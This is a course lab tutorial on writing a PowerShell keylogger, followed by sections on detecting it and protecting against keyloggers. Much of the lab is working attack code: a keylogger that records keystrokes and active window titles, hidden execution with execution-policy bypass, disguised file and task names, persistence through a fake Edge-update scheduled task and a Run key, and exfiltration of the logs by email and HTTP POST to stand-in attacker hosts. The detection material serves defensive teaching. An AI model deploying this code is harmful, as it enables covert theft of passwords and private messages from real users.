Skip to main content

Lab 3.3: PowerShell Keylogger - Keystroke Capture

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand how a keylogger works
  • Create a simple PowerShell keylogger
  • Implement stealth and persistence
  • Detect the presence of a keylogger
  • Understand the risks associated with public and unsupervised PCs
  • Apply protective measures

Estimated Duration​

35 minutes

Prerequisites​

  • Windows 10/11 VM
  • PowerShell
  • Understanding of Labs 3.1 and 3.2

Professional Context​

Keyloggers are used by:

  • Attackers to steal passwords and sensitive information
  • Companies for employee monitoring (with legal consent!)
  • Parents to monitor children's activity (parental control)
  • Governments for targeted surveillance (with warrant)

This lab demonstrates:

  • How EVERYTHING you type can be captured
  • Why public PCs are dangerous
  • How identity thieves operate
  • Importance of physical security
  • Detection techniques

THIS LAB TEACHES THE CREATION OF A KEYLOGGER

Keyloggers are EXTREMELY invasive tools that capture EVERYTHING typed: passwords, private messages, emails, credit card numbers, etc.

LEGAL ONLY IF:

  • On your own computer/VM
  • With written consent from all monitored individuals
  • For security testing authorized by contract
  • For legal parental monitoring (minors only)

STRICTLY ILLEGAL:

  • Installing on someone else's computer without consent
  • On public PCs (library, café, etc.)
  • On work PCs without employer authorization
  • On spouse/partner/family PCs without consent

EXTREMELY SEVERE CONSEQUENCES:

  • Serious crime: Invasion of privacy (Criminal Code art. 184)
  • Prison up to 5 years
  • Massive fines
  • Permanent criminal record
  • Civil lawsuit for damages
  • Academic expulsion

IN SOME COUNTRIES/STATES:

  • Keylogging = Crime on par with wiretapping
  • Even harsher penalties

THIS LAB IS FOR UNDERSTANDING AND DEFENSE ONLY

By completing this lab, you understand these techniques exist and learn to protect yourself. Malicious use is YOUR responsibility and will have serious legal consequences.


Part 1: Understanding Keyloggers​

Step 1.1: What is a Keylogger?​

Keylogger = Software (or hardware) that records all keystrokes.

Captures:

  • Passwords
  • Messages (email, chat, SMS)
  • Typed documents
  • Web searches
  • Credit card numbers
  • PIN codes
  • EVERYTHING!

Types:

  1. Software (this lab): Program running in the background
  2. Hardware: Physical device between keyboard and PC
  3. Kernel-level: Integrated into the operating system
  4. Hypervisor-level: At the virtualization level

Step 1.2: How Does It Work?​

Technical principle:

  1. Keyboard hook: Intercepts keyboard events
  2. Key capture: Records which key is pressed
  3. Timestamp: Exact time of the keystroke
  4. Active window: Which program/site is active
  5. Save: Writes to hidden log file
  6. Exfiltration: Sends logs to the attacker

Windows API used:

  • GetAsyncKeyState() - Current state of keys
  • GetForegroundWindow() - Active window
  • GetWindowText() - Window title

Questions:

  1. Have you ever used a public PC (library, café)?
  2. Have you typed passwords on these PCs?

Step 1.3: Malicious Use Scenarios​

Scenario 1: Public PC

  • Keylogger installed on library PC
  • You type email/bank password
  • Attacker retrieves the log later
  • Accesses all your accounts

Scenario 2: Malicious USB

  • Found USB stick contains keylogger
  • Auto-run or curiosity → Installation
  • Captures for months
  • Complete identity theft

Scenario 3: Jealous Spouse

  • Installation on shared PC
  • Captures conversations, emails
  • Serious privacy violation
  • Illegal even between spouses!

Questions: 3. Which scenario seems most likely to you? 4. How would you protect yourself?


Part 2: Creating the Keylogger​

Step 2.1: Basic Version (15 lines!)​

Create a file keylogger_basic.ps1:

# Basic PowerShell Keylogger
$logFile = "$env:TEMP\log.txt"

Add-Type -AssemblyName System.Windows.Forms

while ($true) {
Start-Sleep -Milliseconds 10

foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}

ATTENTION: This code is simplified for demonstration. Real version is more complex.

Run in background:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1

Invisible window! The keylogger runs in the background.

Step 2.2: Enhanced Version (More Realistic)​

Create keylogger_advanced.ps1:

# Advanced PowerShell Keylogger
# FOR EDUCATIONAL USE ONLY!

$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""

# Windows API Signature
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);

[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();

[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@

function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}

function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}

Write-Log "===== Keylogger Started ====="

# Main loop
while ($true) {
Start-Sleep -Milliseconds 10

# Check active window
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}

# Check each key
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)

if ($keyState -eq -32767) {
# Key pressed
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)

# Special keys
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Letter or number
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}

Features:

  • ✅ Captures all keys
  • ✅ Detects active window (know which site/app)
  • ✅ Precise timestamp
  • ✅ Hidden log file
  • ✅ Handles special keys (Enter, Backspace, etc.)

Questions: 5. How many lines is this keylogger? 6. Is it difficult to create? (Answer: NO!)

Step 2.3: Execution and Testing​

Launch the keylogger:

Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"

Now, type things:

  1. Open Notepad
  2. Type: "This is a test"
  3. Open browser
  4. Type: "password: Test123!"
  5. Open calculator
  6. Type some numbers

Stop the keylogger:

Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Step 2.4: View the Results​

Open the log file:

notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"

YOU SEE:

[2024-11-08 14:23:15] ===== Keylogger Started =====

[2024-11-08 14:23:20] === Window: Untitled - Notepad ===
T h i s i s a t e s t [ENTER]

[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
p a s s w o r d : T e s t 1 2 3 ! [ENTER]

[2024-11-08 14:24:10] === Window: Calculator ===
1 2 3 4 5 6 7 8 9 0

WOW! EVERYTHING IS CAPTURED!

Even:

  • Passwords (displayed as dots but captured in clear text!)
  • Used windows
  • Exact time
  • Special keys

Questions: 7. Are you surprised to see everything that was captured? 8. Imagine this file after a full day...


Part 3: Stealth and Persistence​

Step 3.1: Making Invisible​

Current problem:

  • powershell.exe process visible in Task Manager
  • Visible CPU consumption
  • Discoverable log file

Improvements:

1. Disguised process name:

Rename the script:

  • winupdate.ps1 (looks like Windows Update)
  • svchost.ps1 (looks like Windows service)
  • chrome_update.ps1 (looks like Chrome)

2. Hidden log file:

$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"

# Create folder if not existing
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)

# Mark file as hidden and system
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'

3. Reduce CPU consumption:

# Instead of 10ms, use 50ms or 100ms
Start-Sleep -Milliseconds 50

Less precise but less detectable!

Step 3.2: Automatic Persistence​

Method 1: Scheduled Task

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"

Name that looks like a legitimate task!

Method 2: Registry Run Key

$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand

Starts at every login!

Method 3: Windows Service (Advanced)

# Create disguised Windows service
# Requires SYSTEM privileges
# Not covered in detail here but very effective

Questions: 9. Which persistence method do you prefer? 10. How would a normal user detect this?

Step 3.3: Log Exfiltration​

Problem: Attacker needs to retrieve the log file

Solutions:

1. Automatic Email (simple):

# Send log by email every day
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"

Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp

2. HTTP Upload (stealthy):

$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw

Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing

3. Periodic Reverse Shell:

Send log via established reverse shell (Lab 3.2!)

4. Cloud Storage (very stealthy):

# Upload to Dropbox/OneDrive/Google Drive
# Flies under the radar as "legitimate" traffic

Hard to detect because it looks like normal traffic!


Part 4: Keylogger Detection​

Step 4.1: Process Detection​

Look for suspicious PowerShell processes:

Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List

Suspicious if:

  • Started at login
  • Argument contains "Hidden"
  • Not launched by you
  • Running for a long time

Terminate suspicious process:

Stop-Process -Id <PID> -Force

Step 4.2: File Detection​

Look for suspicious log files:

# Look for .txt or .log files recently modified
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime

Examine suspicious files:

notepad "C:\Path\To\Suspicious\File.txt"

If you see your own keystrokes = KEYLOGGER!

Step 4.3: Scheduled Task Detection​

List all tasks:

Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | 
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize

Examine suspicious tasks:

$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions

Suspicious if:

  • Name looks like Windows service but doesn't really exist
  • Action = PowerShell with unknown script
  • You didn't create it

Delete:

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false

Step 4.4: Registry Detection​

Check Run keys:

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

Any unknown entry = suspicious!

Delete:

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"

Step 4.5: Automated Detection Tools​

Use antivirus/antimalware:

# Windows Defender full scan
Start-MpScan -ScanType FullScan

Specialized tools:

  • Malwarebytes (free)
  • HitmanPro
  • RogueKiller
  • KL-Detector (specific to keyloggers)

Questions: 11. Did you detect your own keylogger? 12. How long did detection take?


Part 5: Real Scenarios and Impact​

Step 5.1: Complete Identity Theft​

What a keylogger can capture in 1 week:

Day 1:

  • Email: username + password
  • Social networks: Facebook, Instagram, Twitter
  • Personal Google searches

Day 2:

  • Online banking: username + password + code
  • Credit card number + CVV + expiration date
  • Private conversations (Messenger, WhatsApp Web)

Day 3:

  • Company VPN: corporate network access
  • Sensitive professional emails
  • Typed confidential documents

Day 4:

  • Colleagues' passwords (if shared)
  • Server credentials
  • Industrial secrets

Days 5-7:

  • Data accumulation
  • Life patterns (connection times, habits)
  • Contacts and relationships

RESULT:

  • Total identity theft
  • Access to all your accounts
  • Compromise of your employer
  • Possible blackmail
  • Potential financial ruin

Step 5.2: Real Case - Magic Lantern (FBI)​

2001: FBI develops "Magic Lantern" keylogger

  • Deployed via exploit or physical access
  • Captures encryption keys
  • Circumvents PGP and other encryptions

Publicly revealed: Privacy controversy

Step 5.3: Real Case - Cybercafés in Asia​

2010s: Keyloggers found on 60% of cybercafé PCs

  • Thailand, Philippines, India
  • Tourists victims
  • Bank accounts emptied after returning home

Travel advice: NEVER access bank from public PC!

Step 5.4: Real Case - Compromised Company​

2018: Pharmaceutical company compromised

  • Keylogger installed on employee PC via phishing
  • Captured VPN access
  • Lateral movement to R&D servers
  • Theft of drug formulas worth $100M+

Total cost: Company bankruptcy!

Questions: 13. Do these scenarios seem realistic to you? 14. What would be the impact if a keylogger was on your PC now?


Part 6: Protective Measures​

Step 6.1: Personal Protection​

1. NEVER use public PC for:

  • Online banking
  • Email
  • Social networks
  • Online shopping
  • Anything sensitive!

2. Virtual keyboard (on-screen keyboard):

osk

Click letters instead of typing = bypasses keylogger!

Limitation: Not practical for daily use

3. Password manager:

Bitwarden, 1Password, LastPass:

  • Auto-fill = no keyboard typing!
  • Keylogger captures nothing

4. Two-factor authentication (2FA):

Even if password stolen:

  • 2FA prevents login
  • Code required on phone

Step 6.2: Enterprise Protection​

1. Antivirus/EDR:

Endpoint Detection and Response:

  • Detects suspicious behaviors
  • Blocks known keyloggers
  • Alerts security team

2. Application Whitelisting:

Only authorized programs can run:

# AppLocker
# Device Guard
# Windows Defender Application Control

3. PowerShell Execution Policy:

Set-ExecutionPolicy AllSigned -Force

Only scripts signed by approved authority!

4. Monitoring:

  • SIEM (Security Information and Event Management)
  • Log all PowerShell processes
  • Alert if execution with "-Hidden"

Step 6.3: Physical Protection​

Personal PC:

  1. BitLocker enabled (prevents installation in recovery mode)
  2. Auto-lock after 1 minute
  3. BIOS password (prevents alternative boot)
  4. Never leave unattended

Enterprise PC: 5. Full Disk Encryption mandatory 6. USB ports disabled (prevents autorun) 7. Video surveillance of server rooms 8. Access badge required


Part 7: Hardware Keyloggers​

Step 7.1: What is a Hardware Keylogger?​

Physical device:

  • Plugged between keyboard and PC
  • OR integrated into the keyboard
  • OR integrated into the cable

Advantages (for attacker):

  • Impossible to detect by software!
  • No antivirus can find it
  • Works on any OS (Windows, Linux, Mac)
  • No process to hide

Appearance:

  • Looks like USB adapter
  • Or completely invisible (integrated)

Step 7.2: Hardware Detection​

How to detect:

  1. Regular visual inspection

    • Check keyboard connections
    • Look for devices between keyboard and PC
    • Compare with normal state
  2. Check cables

    • Suspicious box on the cable?
    • Cable thicker than usual?
  3. Hardware baseline

    • Photograph normal setup
    • Compare regularly

In enterprise:

  • Security seals on connectors
  • Strict hardware inventory
  • Regular inspections

Step 7.3: Protection Against Hardware​

Solutions:

  1. Bluetooth wireless keyboard (harder to intercept)
  2. Regular visual inspection
  3. Controlled environment
  4. Virtual keyboard for critical passwords

Part 8: Practical Exercises​

Exercise 8.1: Improve the Keylogger​

Add these features:

  1. Periodic screenshot capture
  2. Keyword detection ("password", "bank", "credit card")
  3. Log file encryption
  4. Compression before exfiltration

Exercise 8.2: Detection Script​

Create a script that:

  1. Scans for suspicious PowerShell processes
  2. Checks scheduled tasks
  3. Searches for suspicious log files
  4. Checks Run registry keys
  5. Generates HTML report

Exercise 8.3: Security Policy​

Draft a company policy:

  • Keyloggers prohibition
  • Detection procedures
  • Sanctions for use
  • Employee training

Deliverables​

To submit:

  1. Analysis document (Word/PDF, 3-4 pages):

    • Answers to the 14 questions
    • Explanation of keylogger operation
    • Screenshot of log file (ANONYMIZED!)
    • Personal risk analysis
  2. Screenshots (minimum 5):

    • Keylogger code
    • Running PowerShell processes
    • Log file with captures (anonymized!)
    • Persistence scheduled task
    • Detection and removal
  3. Personal protection plan (1-2 pages):

    • Evaluation of your current risks
    • Measures to implement
    • Habit changes
    • Implementation timeline
  4. Awareness (optional, +5% bonus):

    • Video or presentation (5 min)
    • "Why never use public PC"
    • Keylogger demonstration
    • Protection tips

Evaluation Criteria​

CriterionPoints
Functional keylogger created and tested25%
Understanding of operation20%
Successful detection and removal20%
Real risk analysis15%
Personal protection plan15%
Documentation quality5%
Awareness bonus+5%

Quick Reference Commands​

Execution​

# Launch hidden keylogger
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"

# Stop
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Detection​

# Suspicious processes
Get-Process powershell | Select Id,StartTime,CommandLine

# Recent log files
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force

# Scheduled tasks
Get-ScheduledTask | Where State -eq "Ready"

# Run keys
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Cleanup​

# Delete task
Unregister-ScheduledTask -TaskName "SuspiciousTask"

# Delete registry key
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"

# Delete log file
Remove-Item -Path $logFile -Force

Troubleshooting​

Problem: Keylogger captures nothing​

Solution:

  • Check if the script is running (Get-Process powershell)
  • Check if the log file is created
  • Write permissions in the folder?

Problem: Antivirus blocks​

Solution:

  • It's NORMAL! It's a keylogger!
  • Add exclusion for this lab only
  • Reactivate protection afterward

Problem: High CPU consumption​

Solution:

  • Increase Start-Sleep delay (50ms or 100ms)
  • Optimize detection loop

Going Further (Optional)​

Challenge 1: Keylogger GUI​

Create graphical interface for:

  • Start/stop capture
  • View logs in real-time
  • Filter by application
  • Export in different formats

Challenge 2: Anti-Keylogger​

Develop tool that:

  • Detects active keyloggers
  • Automatically removes them
  • Protects in real-time
  • Alerts user

Challenge 3: Research​

Study professional keyloggers:

  • FinFisher/FinSpy (governmental)
  • Ardamax Keylogger (commercial)
  • Perfect Keylogger (commercial)

Compare with your version.


Additional Resources​


Conclusion​

This lab taught you:

  • Create a functional PowerShell keylogger
  • Implement stealth and persistence
  • Detect and remove keyloggers
  • Understand real risks
  • Apply protective measures

CRITICAL Lessons:

  1. 15 lines of code = Functional keylogger!
  2. EVERYTHING you type can be captured
  3. Public PCs = EXTREME DANGER
  4. Password manager = Essential protection
  5. Never type sensitive passwords on an unsafe PC
  6. Detection is difficult but possible with vigilance

AWARENESS:

After this lab, you will never see a keyboard the same way again. Every time you type a password, ask yourself: "Is this PC safe?"

PROTECT YOURSELF:

  • Use a password manager NOW
  • Enable 2FA on ALL your accounts
  • NEVER do banking on a public PC
  • Regularly check your processes
  • Educate those around you

FINAL MESSAGE:

You now have the power to create a keylogger in minutes. This power comes with a HUGE responsibility.

Use this knowledge to:

  • ✅ Protect yourself
  • ✅ Protect others
  • ✅ Raise awareness
  • ✅ Authorized security testing

NEVER for:

  • ❌ Spying
  • ❌ Stealing
  • ❌ Violating privacy
  • ❌ Harming

Be on the side of the good guys. 🛡️


Lab developed as part of the Operating Systems course - MODULE 3

⚠️ FINAL REMINDER: Keylogger on someone else's computer = SERIOUS CRIME. Guaranteed prison.